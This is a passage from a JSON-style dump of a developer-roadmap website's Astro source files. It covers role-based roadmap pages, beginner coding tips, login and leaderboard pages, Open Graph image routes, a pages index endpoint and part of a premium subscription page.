<MessageCircle className='size-3 fill-current sm:size-5' />\n          Chat with AI Tutor\n        </a>\n      </div>\n    </div>\n  </div>\n\n  <div class='bg-linear-to-b from-gray-200 to-white py-4 sm:py-8 md:py-12'>\n    <div class='container'>\n      <div class='text-left'>\n        <SectionBadge title='Beginner Roadmaps' />\n      </div>\n      <div class='my-3 text-left md:my-5'>\n        <h2 class='mb-0 text-xl font-semibold sm:mb-1 sm:text-3xl'>\n          Are you an Absolute beginner?\n        </h2>\n        <p class='text-sm text-gray-500 sm:text-base'>\n          Here are some beginner friendly roadmaps you should start with.\n        </p>\n      </div>\n\n      <div class='grid gap-3 sm:grid-cols-2 md:grid-cols-3'>\n        <RoadmapCard\n          icon={Globe2}\n          title='Frontend Developer'\n          link='/frontend?r=frontend-beginner'\n          description='Develop the part of web apps that users interact with i.e. things rendered in the browser.'\n        />\n        <RoadmapCard\n          icon={ServerCog}\n          title='Backend Developer'\n          link='/backend?r=backend-beginner'\n          description='Develop the part hidden from the user e.g. things like APIs, databases, search engines etc.'\n        />\n\n        <RoadmapCard\n          icon={Globe2}\n          icon2={ServerCog}\n          title='Full Stack Developer'\n          link='/full-stack'\n          description='Develop both the frontend and backend side of the web apps i.e. the whole development stack.'\n        />\n      </div>\n\n      <p class='my-4 text-sm sm:my-7 sm:text-base'>\n        There is also a <a\n          target='_blank'\n          class='font-medium underline underline-offset-2'\n          href='/devops?r=devops-beginner'>beginner DevOps roadmap</a\n        > which requires you to have some backend knowledge and entails a lot of\n        operations work i.e. deploying, scaling, monitoring, and maintaining applications.\n      </p>\n\n      <div class='rounded-xl border bg-white p-3 sm:p-4'>\n        <h2 class='mb-0 text-lg font-semibold sm:mb-1 sm:text-xl'>\n          Tips for Beginners\n        </h2>\n        <p class='text-sm sm:text-base'>\n          Learning to code can be overwhelming, here are some tips to help you\n          get started:\n        </p>\n\n        <div class='mt-3 flex flex-col gap-1'>\n          <TipItem\n            title='Avoid Tutorial Hell'\n            description=\"Don't get stuck in tutorial hell. It's easy to get caught up in tutorials and never actually build anything. Tutorials are great for learning, but the best way to learn is by doing. An example of this is to watch a project-based tutorial, code along with the instructor. After finishing the tutorial, try to build the same project from scratch without the tutorial (if you can't, it's okay to go back to the tutorial). Repeat this process until you can build the project without the tutorial. After that, try to add new features to the project or build something similar from scratch.\"\n            client:load\n          />\n\n          <TipItem\n            title='Consistent study habits'\n            description=\"Commit to regular, consistent study sessions. It's better to study for 30 minutes every day than to cram for 10 hours once a week.\"\n            client:load\n          />\n\n          <TipItem\n            title='Set a clear goal'\n            description='Establish a clear, significant goal that motivates you. It could be building a company, an app, a website, or anything that personally resonates with you.'\n            client:load\n          />\n\n          <TipItem\n            title='Embrace the marathon mindset'\n            description=\"You will feel lost in the beginning. Avoid comparing yourself to others; everyone progresses at their own pace. Understand that challenges are part of the journey, and it's okay to take your time.\"\n            client:load\n          />\n\n          <TipItem\n            title='Build projects'\n            description=\"The best way to learn is by doing. Start building projects as soon as possible. It's okay if they're simple at first; the goal is to learn and improve. Build upon code-alongs and tutorials to create your projects and learn through hands-on experience\"\n            client:load\n          />\n          <TipItem\n            title='Learn to get unstuck'\n            description=\"Once you start learning to code, you're going to run into problems that you don't know how to solve. This is normal and part of the process. You don't really learn unless you struggle through it. That said, you won't always be able to move forward without some help. So how do you find that help? First off, forget books. They aren't a great place to start here, because the number and types of errors they can cover is so small. Online is the easiest place to find help. Most devs look for solutions on StackOverflow or just google the error message (if they have one). Other solutions are to find newsgroups or forums dedicated to the language you're using.\"\n            client:load\n          />\n\n          <TipItem\n            title='Join a community'\n            description=\"Join a community of learners, such as a local coding group, a Discord server, or a subreddit. It's a great way to get help, share your progress, and learn from others.\"\n            client:load\n          />\n        </div>\n      </div>\n    </div>\n  </div>\n\n  <RoleRoadmaps\n    badge='Self-taught Developer'\n    title='Are you a self-taught developer?'\n    description='How about taking a peek at the Computer Science roadmap aimed at self-taught developers?'\n  >\n    <RoadmapCard\n      icon={GraduationCap}\n      title='Computer Science'\n      link='/computer-science'\n      description='Learn the fundamental concepts of computer science and programming.'\n    />\n    <RoadmapCard\n      icon={Blocks}\n      title='Data Structures'\n      link='/datastructures-and-algorithms'\n      description='Learn all about data structures and algorithms.'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[{ title: 'System Design', link: '/system-design' }]}\n      description='Learn how to design large scale systems and prepare for system design interviews.'\n      secondaryRoadmaps={[\n        {\n          title: 'Design and Architecture',\n          link: '/software-design-architecture',\n        },\n      ]}\n      secondaryDescription='Or learn how to design and architect software systems.'\n    />\n  </RoleRoadmaps>\n\n  <RoleRoadmaps\n    badge='Frontend Developer'\n    title='Are you a Frontend Developer?'\n    description='How about skimming through the frontend or JavaScript roadmaps to see if there is anything you missed? TypeScript is all the rage these days, maybe it is time to learn it?'\n  >\n    <RoadmapCard\n      icon={Globe2}\n      title='Frontend'\n      link='/frontend'\n      description='Learn all you need to know to become a frontend developer.'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'HTML', link: '/html' },\n        { title: 'CSS', link: '/css' },\n        { title: 'JavaScript', link: '/javascript' },\n        { title: 'TypeScript', link: '/typescript' },\n      ]}\n      description='How about mastering the language of the web: JavaScript? or maybe TypeScript? or maybe HTML or CSS?'\n      secondaryRoadmaps={[\n        {\n          title: 'Frontend Performance',\n          link: '/best-practices/frontend-performance',\n        },\n      ]}\n      secondaryDescription='Or learn how to improve the performance of your web apps?'\n    />\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'React', link: '/react' },\n        { title: 'Vue', link: '/vue' },\n        { title: 'Angular', link: '/angular' },\n        { title: 'Next.js', link: '/nextjs' },\n      ]}\n      description='Or learn a framework?'\n      secondaryRoadmaps={[{ title: 'Design Systems', link: '/design-system' }]}\n      secondaryDescription='or learn about design systems?'\n    />\n  </RoleRoadmaps>\n\n  <RoleRoadmaps\n    badge='Backend Developer'\n    title='Are you a Backend Developer?'\n    description='Explore the general backend roadmap or dive into a specific technology like Node.js, Python, Java etc'\n  >\n    <div class='flex flex-col gap-3'>\n      <RoadmapCard\n        icon={ServerCog}\n        title='Backend'\n        link='/backend'\n        description='Learn all you need to know to become a backend developer.'\n      />\n\n      <RoadmapCard\n        icon={Braces}\n        title='API Design'\n        link='/api-design'\n        description='Learn all you need to know to design robust APIs.'\n      />\n    </div>\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'Node.js', link: '/nodejs' },\n        { title: 'PHP', link: '/php' },\n        { title: 'Rust', link: '/rust' },\n        { title: 'Go', link: '/golang' },\n        { title: 'Python', link: '/python' },\n        { title: 'Java', link: '/java' },\n        { title: 'Kotlin', link: '/kotlin' },\n        { title: 'ASP.NET Core', link: '/aspnet-core' },\n        { title: 'C++', link: '/cpp' },\n      ]}\n      description='Or learn a specific technology?'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'System Design', link: '/system-design' },\n        {\n          title: 'Design and Architecture',\n          link: '/software-design-architecture',\n        },\n      ]}\n      description='How about improving your System Design skills?'\n      secondaryRoadmaps={[\n        { title: 'SQL', link: '/sql' },\n        { title: 'PostgreSQL', link: '/postgresql-dba' },\n        { title: 'MongoDB', link: '/mongodb' },\n        { title: 'Redis', link: '/redis' },\n      ]}\n      secondaryDescription='Or perhaps improve your database skills?'\n    />\n  </RoleRoadmaps>\n\n  <RoleRoadmaps\n    badge='DevOps Engineer'\n    title='DevOps or a Wanna-be DevOps Engineer?'\n    description='Explore the general DevOps roadmap or dive into a specific technology like Docker, Kubernetes etc'\n  >\n    <RoadmapCard\n      icon={Server}\n      title='DevOps'\n      link='/devops'\n      description='Learn all you need to know to become a DevOps Engineer.'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'AWS', link: '/aws' },\n        { title: 'Cloudflare', link: '/cloudflare' },\n      ]}\n      description='or perhaps you want to learn AWS or Cloudflare?'\n      secondaryRoadmaps={[{ title: 'Terraform', link: '/terraform' }]}\n      secondaryDescription='Or learn to automate your infrastructure using Terraform?'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'Docker', link: '/docker' },\n        { title: 'Kubernetes', link: '/kubernetes' },\n        { title: 'Linux', link: '/linux' },\n      ]}\n      description='or perhaps you want to learn Docker, Kubernetes or Linux?'\n      secondaryRoadmaps={[\n        { title: 'Python', link: '/python' },\n        { title: 'Go', link: '/golang' },\n        { title: 'Rust', link: '/rust' },\n        { title: 'Shell / Bash', link: '/shell-bash'}\n      ]}\n      secondaryDescription='Or maybe improve your automation skills?'\n    />\n  </RoleRoadmaps>\n\n  <RoleRoadmaps\n    badge='Mobile Developer'\n    title='Are you a Mobile Developer?'\n    description='How about beefing up your mobile development skills?'\n  >\n    <RoadmapCard\n      icon={Smartphone}\n      title='Android'\n      link='/android'\n      description='Learn all you need to know to become an Android Developer.'\n    />\n\n    <RoadmapCard\n      icon={Smartphone}\n      title='iOS'\n      link='/ios'\n      description='Learn all you need to know to become an iOS Developer.'\n    />\n\n    <RoadmapMultiCard\n      roadmaps={[\n        { title: 'React Native', link: '/react-native' },\n        { title: 'Flutter', link: '/flutter' },\n        { title: 'Kotlin', link: '/kotlin' },\n      ]}\n      description='Or learn a cross-platform framework?'\n    />\n  </RoleRoadmaps>\n  <RoleRoadmaps\n    badge='AI and Machine Learning'\n    title='Are you an AI or Machine Learning enthusiast?'\n    description='How about diving into the AI or Machine Learning roadmaps?'\n  >\n    <RoadmapCard\n      icon={Bot}\n      title='Machine Learning'\n      link='/machine-learning'\n      description='Learn all you need to know to become an ML Engineer.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      title='AI and Data Science'\n      link='/ai-data-scientist'\n      description='Learn all you need to know to become an AI or Data Scientist.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      title='AI Engineer'\n      link='/ai-engineer'\n      description='Learn all you need to become an AI Engineer.'\n    />\n\n    <RoadmapCard\n      icon={ServerCog}\n      title='AI Agents'\n      link='/ai-agents'\n      description='Learn how to design, build and ship AI agents in 2025.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      title='Data Analyst'\n      link='/data-analyst'\n      description='Learn all you need to know to become a Data Analyst.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      title='BI Analyst'\n      link='/bi-analyst'\n      description='Learn to become a Business Intelligence Analyst in 2025.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      title='Data Engineer'\n      link='/data-engineer'\n      description='Learn all you need to know to become a Data Engineer.'\n    />\n\n    <RoadmapCard\n      icon={MessageCircleCode}\n      title='Prompt Engineering'\n      link='/prompt-engineering'\n      description='Learn how to write better prompts for GPT-* and other language models.'\n    />\n\n    <RoadmapCard\n      icon={Shield}\n      title='AI Red Teaming'\n      link='/ai-red-teaming'\n      description='Learn how to red team your AI applications with this interactive step by step guide.'\n    />\n\n    <RoadmapCard\n      icon={Bot}\n      icon2={ServerCog}\n      title='MLOps'\n      link='/mlops'\n      description='Learn how to deploy and manage machine learning models.'\n    />\n  </RoleRoadmaps>\n  <RoleRoadmaps\n    badge='Product or Engineering Management'\n    title='Thinking about a career in management?'\n    description='How about diving into our product or engineering management roadmaps?'\n  >\n    <RoadmapCard\n      icon={SquareKanban}\n      title='Product Manager'\n      link='/product-manager'\n      description='Learn all you need to know to become a Product Manager.'\n    />\n\n    <RoadmapCard\n      icon={UsersRound}\n      title='Engineering Manager'\n      link='/engineering-manager'\n      description='Learn all you need to become an Engineering Manager.'\n    />\n  </RoleRoadmaps>\n  <RoleRoadmaps\n    badge='More Roles'\n    title='Fancy something else?'\n    description='Explore the following roadmaps about UX, Game Development, Software Architect and more'\n  >\n    <div class='flex flex-col justify-start gap-3'>\n      <RoadmapCard\n        icon={ShieldHalf}\n        title='Cyber Security'\n        link='/cyber-security'\n        description='Learn to become a Cyber Security Expert.'\n      />\n      <RoadmapCard\n        icon={Workflow}\n        title='UX Designer'\n        link='/ux-design'\n        description='Learn all you need to know to become a UX Designer.'\n      />\n      <RoadmapCard\n        icon={Coins}\n        title='Blockchain'\n        link='/blockchain'\n        description='Learn all you need to know to become a Blockchain Developer.'\n      />\n    </div>\n    <div class='flex flex-col justify-start gap-3'>\n      <RoadmapCard\n        icon={Gamepad2}\n        title='Game Development'\n        link='/game-developer'\n        description='Learn all you need to know to become a Game Developer.'\n      />\n      <RoadmapCard\n        icon={PenSquare}\n        title='Technical Writer'\n        link='/technical-writer'\n        description='Learn all you need to know to become a Technical Writer.'\n      />\n      <RoadmapCard\n        icon={Megaphone}\n        title='DevRel Engineer'\n        link='/devrel'\n        description='Learn all you need to know to become a DevRel Engineer.'\n      />\n    </div>\n    <div class='flex flex-col justify-start gap-3'>\n      <RoadmapCard\n        icon={FolderKanban}\n        title='Product Manager'\n        link='/product-manager'\n        description='Learn all you need to know to become a Project Manager.'\n      />\n      <RoadmapCard\n        icon={Component}\n        title='Software Architect'\n        link='/software-architect'\n        description='Learn all you need to know to become a Software Architect.'\n      />\n      <RoadmapCard\n        icon={GitBranch}\n        title='Git and GitHub'\n        link='/git-github'\n        description='Learn all you need to know to become a Git and GitHub expert.'\n      />\n    </div>\n  </RoleRoadmaps>\n\n  <div class='container'>\n    <div class='-mt-5 mb-12 rounded-3xl bg-black p-5'>\n      <h2 class='mb-0.5 text-xl font-semibold text-white sm:mb-1 sm:text-2xl'>\n        There is more!\n      </h2>\n      <p class='text-sm text-gray-400 sm:text-base'>\n        We have a lot more content for you to explore.\n      </p>\n\n      <div\n        class='my-4 grid grid-cols-1 gap-2 sm:my-5 sm:grid-cols-2 sm:gap-3 md:grid-cols-3'\n      >\n        <a\n          href='/roadmaps'\n          class='grow rounded-lg bg-linear-to-br from-gray-800 to-gray-700 p-4 text-sm text-white transition-all hover:from-gray-700 hover:to-gray-700 sm:text-base'\n        >\n          <Waypoints className='mb-3 h-5 w-5 text-gray-500 sm:mb-2' />\n          Explore all Roadmaps\n        </a>\n        <a\n          href='/best-practices'\n          class='grow rounded-lg bg-linear-to-br from-gray-800 to-gray-700 p-4 text-sm text-white transition-all hover:from-gray-700 hover:to-gray-700 sm:text-base'\n        >\n          <CheckSquare className='mb-3 h-5 w-5 text-gray-500 sm:mb-2' />\n          Explore Best Practices\n        </a>\n        <a\n          href='/questions'\n          class='grow rounded-lg bg-linear-to-br from-gray-800 to-gray-700 p-4 text-sm text-white transition-all hover:from-gray-700 hover:to-gray-700 sm:text-base'\n        >\n          <CheckSquare className='mb-3 h-5 w-5 text-gray-500 sm:mb-2' />\n          Explore Questions\n        </a>\n      </div>\n      <p class='text-sm text-gray-400 sm:text-base'>\n        Or visit our <a\n          href='/guides'\n          class='rounded-lg bg-gray-700 px-2 py-1 text-gray-300 transition-colors hover:bg-gray-600 hover:text-white'\n          >guides</a\n        > and <a\n          href='/videos'\n          class='rounded-lg bg-gray-700 px-2 py-1 text-gray-300 transition-colors hover:bg-gray-600 hover:text-white'\n          >videos</a\n        > for long-form content.\n      </p>\n    </div>\n  </div>\n  <ChangelogBanner slot='changelog-banner' />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/github.astro",
    "content": "---\nexport const prerender = false;\nconst githubLink = 'https://github.com/kamranahmedse/developer-roadmap';\n\nreturn Astro.redirect(githubLink);\n---\n"
  },
  {
    "path": "src/pages/index.astro",
    "content": "---\nimport { DateTime } from 'luxon';\nimport ChangelogBanner from '../components/ChangelogBanner.astro';\nimport { FeaturedGuideList } from '../components/FeaturedGuides/FeaturedGuideList';\nimport FeaturedItems from '../components/FeaturedItems/FeaturedItems.astro';\nimport { FeaturedVideoList } from '../components/FeaturedVideos/FeaturedVideoList';\nimport HeroSection from '../components/HeroSection/HeroSection.astro';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { getAllVideos } from '../lib/video';\nimport { listOfficialGuides } from '../queries/official-guide';\nimport {\n  isNewRoadmap,\n  listOfficialRoadmaps,\n} from '../queries/official-roadmap';\n\nconst roadmaps = await listOfficialRoadmaps();\nconst roleRoadmaps = roadmaps.filter((roadmap) => roadmap.type === 'role');\nconst skillRoadmaps = roadmaps.filter((roadmap) => roadmap.type === 'skill');\nconst bestPractices = roadmaps.filter(\n  (roadmap) => roadmap.type === 'best-practice',\n);\n\nexport const projectGroups = [\n  {\n    title: 'Frontend',\n    id: 'frontend',\n  },\n  {\n    title: 'Backend',\n    id: 'backend',\n  },\n  {\n    title: 'DevOps',\n    id: 'devops',\n  },\n];\n\nconst allGuides = await listOfficialGuides();\nconst questionGuides = allGuides.filter(\n  (guide) => guide.roadmapId === 'questions',\n);\nconst guides = allGuides.filter((guide) => guide.roadmapId !== 'questions');\n\nconst videos = await getAllVideos();\n---\n\n<BaseLayout\n  title='Developer Roadmaps - roadmap.sh'\n  description={'Community driven roadmaps, articles and guides for developers to grow in their career.'}\n  permalink={'/'}\n>\n  <div slot='ad-slot-script'></div>\n  <div slot='ad-slot'></div>\n\n  <div class='bg-linear-to-b from-slate-900 to-black'>\n    <HeroSection />\n\n    <FeaturedItems\n      heading='Role-based Roadmaps'\n      featuredItems={roleRoadmaps.map((roadmapItem) => {\n        const isNew = isNewRoadmap(roadmapItem.createdAt);\n\n        return {\n          text: roadmapItem.title.card,\n          url: `/${roadmapItem.slug}`,\n          isNew,\n        };\n      })}\n      showCreateRoadmap={true}\n    />\n\n    <FeaturedItems\n      heading='Skill-based Roadmaps'\n      featuredItems={skillRoadmaps.map((roadmapItem) => {\n        const isNew = isNewRoadmap(roadmapItem.createdAt);\n\n        return {\n          text:\n            roadmapItem.title.card === 'Go'\n              ? 'Go Roadmap'\n              : roadmapItem.title.card.replace('Software Design', 'Design'),\n          url: `/${roadmapItem.slug}`,\n          isNew,\n        };\n      })}\n      showCreateRoadmap={true}\n    />\n\n    <FeaturedItems\n      heading='Project Ideas'\n      allowBookmark={false}\n      featuredItems={projectGroups.map((projectGroup) => ({\n        text: projectGroup.title,\n        url: `${projectGroup.id}/projects`,\n      }))}\n    />\n\n    <FeaturedItems\n      heading='Best Practices'\n      featuredItems={bestPractices.map((bestPracticeItem) => {\n        const isNew = isNewRoadmap(bestPracticeItem.createdAt);\n\n        return {\n          text: bestPracticeItem.title.card,\n          url: `/${bestPracticeItem.slug}`,\n          isNew,\n        };\n      })}\n      showCreateRoadmap={false}\n    />\n    <div class='grid grid-cols-1 gap-7 bg-gray-50 py-7 sm:gap-16 sm:py-16'>\n      <FeaturedGuideList\n        heading='Guides'\n        guides={guides.slice(0, 7)}\n        questions={questionGuides.slice(0, 7)}\n      />\n      <FeaturedVideoList heading='Videos' videos={videos.slice(0, 7)} />\n    </div>\n  </div>\n  <ChangelogBanner slot='changelog-banner' />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/leaderboard.astro",
    "content": "---\nimport { LeaderboardPage } from '../components/Leaderboard/LeaderboardPage';\nimport { ErrorPage } from '../components/Leaderboard/ErrorPage';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { leaderboardApi } from '../api/leaderboard';\n\nexport const prerender = false;\n\nconst leaderboardClient = leaderboardApi(Astro);\nconst { response: leaderboardStats, error: leaderboardError } =\n  await leaderboardClient.listLeaderboardStats();\n---\n\n<BaseLayout title='Leaderboard' permalink=\"/leaderboard\">\n  {leaderboardError && <ErrorPage error={leaderboardError} />}\n  {\n    leaderboardStats && (\n      <LeaderboardPage stats={leaderboardStats!} client:load />\n    )\n  }\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/login.astro",
    "content": "---\nimport { AccountTerms } from '../components/AccountTerms';\nimport { AuthenticationForm } from '../components/AuthenticationFlow/AuthenticationForm';\nimport AccountLayout from '../layouts/AccountLayout.astro';\n---\n\n<AccountLayout\n  title='Login - roadmap.sh'\n  description='Register yourself to receive occasional emails about new roadmaps, updates, guides and videos'\n  permalink={'/login'}\n  noIndex={true}\n>\n  <div class='container'>\n    <div\n      class='mx-auto flex flex-col items-start justify-start pb-28 pt-10 sm:max-w-[400px] sm:items-center sm:justify-center sm:pt-20'\n    >\n      <div class='mb-2 text-left sm:mb-5 sm:text-center'>\n        <h1 class='mb-2 text-3xl font-semibold sm:mb-5 sm:text-5xl'>Login</h1>\n        <p class='mb-3 text-base leading-6 text-gray-600'>\n          Welcome back! Let's take you to your account.\n        </p>\n      </div>\n\n      <AuthenticationForm client:load />\n\n      <div\n        class='mt-3 w-full rounded-md border py-2 text-center text-sm text-slate-600'\n      >\n        Don't have an account?{' '}\n        <a\n          href='/signup'\n          class='font-medium text-blue-700 hover:text-blue-600 hover:underline'\n        >\n          Sign up\n        </a>\n      </div>\n\n      <AccountTerms />\n    </div>\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/og/best-practice/[slug].ts",
    "content": "import type { APIRoute } from 'astro';\nimport {\n  getDefaultOpenGraphImageBuffer,\n  getResourceOpenGraph,\n} from '../../../lib/open-graph';\nimport { Transformer } from '@napi-rs/image';\n\nexport const prerender = false;\n\ntype Params = {\n  slug: string;\n};\n\nexport const GET: APIRoute<any, Params> = async (context) => {\n  const { slug } = context.params;\n\n  if (!slug) {\n    const buffer = await getDefaultOpenGraphImageBuffer();\n    return new Response(buffer, {\n      headers: {\n        'Content-Type': 'image/png',\n      },\n    });\n  }\n\n  const svg = await getResourceOpenGraph('best-practice', slug);\n  const transformer = Transformer.fromSvg(svg).crop(0, 0, 1200, 630);\n\n  return new Response(await transformer.png(), {\n    headers: {\n      'Content-Type': 'image/png',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/og/guide/[slug].ts",
    "content": "import type { APIRoute } from 'astro';\nimport {\n  getDefaultOpenGraphImageBuffer,\n  getResourceOpenGraph,\n} from '../../../lib/open-graph';\nimport { Transformer } from '@napi-rs/image';\n\nexport const prerender = false;\n\ntype Params = {\n  slug: string;\n};\n\nexport const GET: APIRoute<any, Params> = async (context) => {\n  const { slug } = context.params;\n  const { searchParams } = context.url;\n\n  if (!slug) {\n    const buffer = await getDefaultOpenGraphImageBuffer();\n    return new Response(buffer, {\n      headers: {\n        'Content-Type': 'image/png',\n      },\n    });\n  }\n\n  const svg = await getResourceOpenGraph(\n    'guide',\n    slug,\n    Object.fromEntries(searchParams.entries()),\n  );\n  const transformer = Transformer.fromSvg(svg).crop(0, 0, 1200, 630);\n\n  // @ts-expect-error - Buffer is not assignable to BodyInit\n  return new Response(await transformer.png(), {\n    headers: {\n      'Content-Type': 'image/png',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/og/roadmap/[slug].ts",
    "content": "import { Transformer } from '@napi-rs/image';\nimport type { APIRoute } from 'astro';\n\nimport {\n  getDefaultOpenGraphImageBuffer,\n  getResourceOpenGraph,\n} from '../../../lib/open-graph';\n\nexport const prerender = false;\n\ntype Params = {\n  slug: string;\n};\n\nexport const GET: APIRoute<any, Params> = async (context) => {\n  const { slug } = context.params;\n\n  if (!slug) {\n    const buffer = await getDefaultOpenGraphImageBuffer();\n    return new Response(buffer, {\n      headers: {\n        'Content-Type': 'image/png',\n      },\n    });\n  }\n\n  const svg = await getResourceOpenGraph('roadmap', slug);\n  const transformer = Transformer.fromSvg(svg).crop(0, 0, 1200, 630);\n\n  return new Response(await transformer.png(), {\n    headers: {\n      'Content-Type': 'image/png',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/og/user/[username].ts",
    "content": "import type { APIRoute } from 'astro';\nimport { getDefaultOpenGraphImageBuffer } from '../../../lib/open-graph';\nimport { Transformer } from '@napi-rs/image';\n\nexport const prerender = false;\n\ntype Params = {\n  username: string;\n};\n\nexport const GET: APIRoute<any, Params> = async (context) => {\n  const { username } = context.params;\n\n  if (!username || !/^[a-zA-Z0-9]*?[a-zA-Z]+?[a-zA-Z0-9]*?$/.test(username)) {\n    const buffer = await getDefaultOpenGraphImageBuffer();\n    return new Response(buffer, {\n      headers: {\n        'Content-Type': 'image/png',\n      },\n    });\n  }\n\n  const response = await fetch(\n    `${import.meta.env.PUBLIC_API_URL}/v1-profile-open-graph/${username}`,\n  );\n\n  const svg = await response.text();\n  const transformer = Transformer.fromSvg(svg).crop(0, 0, 1200, 630);\n\n  return new Response(await transformer.png(), {\n    headers: {\n      'Content-Type': 'image/png',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/pages.json.ts",
    "content": "import { getAllBestPractices } from '../lib/best-practice';\nimport { getAllVideos } from '../lib/video';\nimport { getAllQuestionGroups } from '../lib/question-group';\nimport {\n  listOfficialAuthors,\n  listOfficialGuides,\n} from '../queries/official-guide';\nimport {\n  listOfficialBeginnerRoadmaps,\n  listOfficialRoadmaps,\n} from '../queries/official-roadmap';\nimport { listOfficialProjects } from '../queries/official-project';\n\nexport async function GET() {\n  const guides = await listOfficialGuides();\n  const authors = await listOfficialAuthors();\n  const videos = await getAllVideos();\n  const questionGroups = await getAllQuestionGroups();\n  const mainRoadmaps = await listOfficialRoadmaps();\n  const beginnerRoadmaps = await listOfficialBeginnerRoadmaps();\n\n  const bestPractices = await getAllBestPractices();\n  const projects = await listOfficialProjects();\n\n  const roadmaps = [...mainRoadmaps, ...beginnerRoadmaps];\n  // Transform main roadmaps into page objects first so that we can reuse their meta for beginner variants\n  const roadmapPages = roadmaps\n    .map((roadmap) => {\n      const isBeginner = roadmap.slug.endsWith('-beginner');\n      if (!isBeginner) {\n        return {\n          id: roadmap.slug,\n          url: `/${roadmap.slug}`,\n          title: roadmap.title.card,\n          shortTitle: roadmap.title.card,\n          description: roadmap.description,\n          group: 'Roadmaps',\n          metadata: {\n            tags:\n              roadmap.type === 'role' ? ['role-roadmap'] : ['skill-roadmap'],\n          },\n          renderer: 'editor',\n        };\n      }\n\n      const parentSlug = roadmap.slug.replace('-beginner', '');\n      const parentMeta = roadmaps.find((r) => r.slug === parentSlug);\n\n      if (!parentMeta) {\n        return null;\n      }\n\n      return {\n        id: roadmap.slug,\n        url: `/${parentSlug}?r=${roadmap.slug}`,\n        title: `${parentMeta.title.page} Beginner`,\n        shortTitle: `${parentMeta.title.page} Beginner`,\n        description: parentMeta.description,\n        group: 'Roadmaps',\n        metadata: {\n          tags: ['beginner-roadmap'],\n        },\n        renderer: 'editor',\n      };\n    })\n    .filter(Boolean);\n\n  return new Response(\n    JSON.stringify([\n      ...roadmapPages,\n      ...bestPractices.map((bestPractice) => ({\n        id: bestPractice.id,\n        url: `/best-practices/${bestPractice.id}`,\n        title: bestPractice.frontmatter.briefTitle,\n        shortTitle: bestPractice.frontmatter.briefTitle,\n        description: bestPractice.frontmatter.briefDescription,\n        group: 'Best Practices',\n      })),\n      ...questionGroups.map((questionGroup) => ({\n        id: questionGroup.id,\n        url: `/questions/${questionGroup.id}`,\n        title: questionGroup.frontmatter.briefTitle,\n        shortTitle: questionGroup.frontmatter.briefTitle,\n        group: 'Questions',\n      })),\n      ...guides.map((guide) => {\n        const author = authors.find((author) => author._id === guide.authorId);\n        const authorSlug = author?.slug || guide?.authorId;\n\n        return {\n          id: guide.slug,\n          url: guide?.roadmapId\n            ? `/${guide.roadmapId}/${guide.slug}`\n            : `/guides/${guide.slug}`,\n          title: guide.title,\n          description: guide.description,\n          authorId: authorSlug,\n          shortTitle: guide.title,\n          group: 'Guides',\n        };\n      }),\n      ...videos.map((video) => ({\n        id: video.id,\n        url: `/videos/${video.id}`,\n        title: video.frontmatter.title,\n        shortTitle: video.frontmatter.title,\n        group: 'Videos',\n      })),\n      ...projects.map((project) => ({\n        id: project.slug,\n        url: `/projects/${project.slug}`,\n        title: project.title,\n        description: project.description,\n        shortTitle: project.title,\n        group: 'Projects',\n      })),\n    ]),\n    {\n      status: 200,\n      headers: {\n        'Content-Type': 'application/json',\n      },\n    },\n  );\n}\n"
  },
  {
    "path": "src/pages/premium.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { PremiumPage } from '../components/Premium/PremiumPage';\n---\n\n<BaseLayout \n  title='Premium Features - AI-Powered Learning | roadmap.sh'\n  description='Unlock unlimited AI-powered learning with roadmap.sh Premium. Generate unlimited courses, get career guidance, instant AI answers, and access exclusive features for just $10/month.'\n  ogImageUrl='https://assets.roadmap.sh/guest/ai-tutor-og-6hm9j.png'\n  keywords={[\n    'roadmap.sh premium',\n    'ai learning platform',\n    'developer education',\n    'programming courses',\n    'career guidance',\n    'ai tutor',\n    'coding roadmaps',\n    'tech learning subscription',\n    'developer tools',\n    'unlimited courses',\n    'ai-powered education',\n    'programming mentor'\n  ]}\n  permalink={'/premium'}\n  jsonLd={[\n    {\n      '@context': 'https://schema.org',\n      '@type': 'Product',\n      name: 'roadmap.sh Premium',\n      description: 'AI-powered learning platform for developers with unlimited courses, career guidance, and instant AI support.',\n      image: 'https://assets.roadmap.sh/guest/ai-tutor-og-6hm9j.png',\n      brand: {\n        '@type': 'Brand',\n        name: 'roadmap.sh'\n      },\n      offers: [\n        {\n          '@type': 'Offer',\n          name: 'Monthly Plan',\n          price: '10.00',\n          priceCurrency: 'USD',\n          priceValidUntil: '2025-12-31',\n          availability: 'https://schema.org/InStock',\n          url: 'https://roadmap.sh/premium',\n          hasMerchantReturnPolicy: {\n            '@type': 'MerchantReturnPolicy',\n            applicableCountry: 'US',\n            returnPolicyCategory: 'https://schema.org/MerchantReturnNotPermitted'\n          },\n          shippingDetails: {\n            '@type': 'OfferShippingDetails',\n            shippingRate: {\n              '@type': 'MonetaryAmount',\n              value: 0,\n              currency: 'USD'\n            },\n            doesNotShip: true\n          }\n        },\n        {\n          '@type': 'Offer',\n          name: 'Yearly Plan',\n          price: '100.00',\n          priceCurrency: 'USD',\n          priceValidUntil: '2025-12-31',\n          availability: 'https://schema.org/InStock',\n          url: 'https://roadmap.sh/premium',\n          hasMerchantReturnPolicy: {\n            '@type': 'MerchantReturnPolicy',\n            applicableCountry: 'US',\n            